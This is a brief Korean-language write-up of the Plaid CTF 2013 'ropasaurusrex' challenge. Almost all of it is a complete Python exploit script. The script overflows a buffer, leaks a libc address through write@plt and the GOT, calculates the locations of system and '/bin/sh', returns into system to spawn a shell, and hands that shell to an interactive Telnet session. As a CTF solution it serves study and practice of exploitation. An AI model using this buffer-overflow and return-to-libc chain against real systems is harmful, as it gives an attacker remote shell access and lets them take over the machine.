Plaid CTF 2013 - ropasaurusrex

대회에서 라이브러리 파일을 주고 시작했고, 따라서 로컬에서 디버깅이 가능한 상황이라고 가정하고 환경은

Ubuntu 14.04 64bit 로 구축해놓고 풀었습니다.

가장 기초적인 ROP로, Demon으로 돌아가는 프로그램이었기 때문에 system("/bin/sh")로 쉘을 딸 수 있었습니다.

from hackutil import *
from socket import *
from time import *
from telnetlib import *
 
TARGET = '192.168.136.137'
PORT = 9999
 
banner()
 
#========================================
read_plt = 0x0804832c
read_got = 0x0804961c
write_plt = 0x0804830c
write_got = 0x08049614
pppr = 0x080484b6
offset_read_system = 0x9aa40
offset_binsh_read = 0x85e54
#========================================
 
print "==================[ Phase 1 : Find Library Func ]=================="
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((TARGET, PORT))
payload = "\x90"*(0x88+4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
payload += p32(0x080483F4) # vuln func again
 
s.send(payload)
sleep(0.1)
recved = s.recv(1024)
 
read_lib = up32(recved[0:4])[0]
system_lib = read_lib - offset_read_system
binsh = read_lib+offset_binsh_read
 
print "[*] Found read_lib : "+hex(read_lib)
sleep(0.3)
print "[*] Found system_lib : "+hex(system_lib)
sleep(0.3)
print "[*] Found binsh : "+hex(binsh)
 
print "===================[ Phase 2 : Attack with RTL ]==================="
 
payload2 = "\x90"*(0x88+4)
payload2 += p32(system_lib)
payload2 += "AAAA"
payload2 += p32(binsh)
 
s.send(payload2)
sleep(1)
 
print "====================[ Phase 3 : Got the Shell ]===================="
 
t = Telnet()
t.sock = s
t.interact()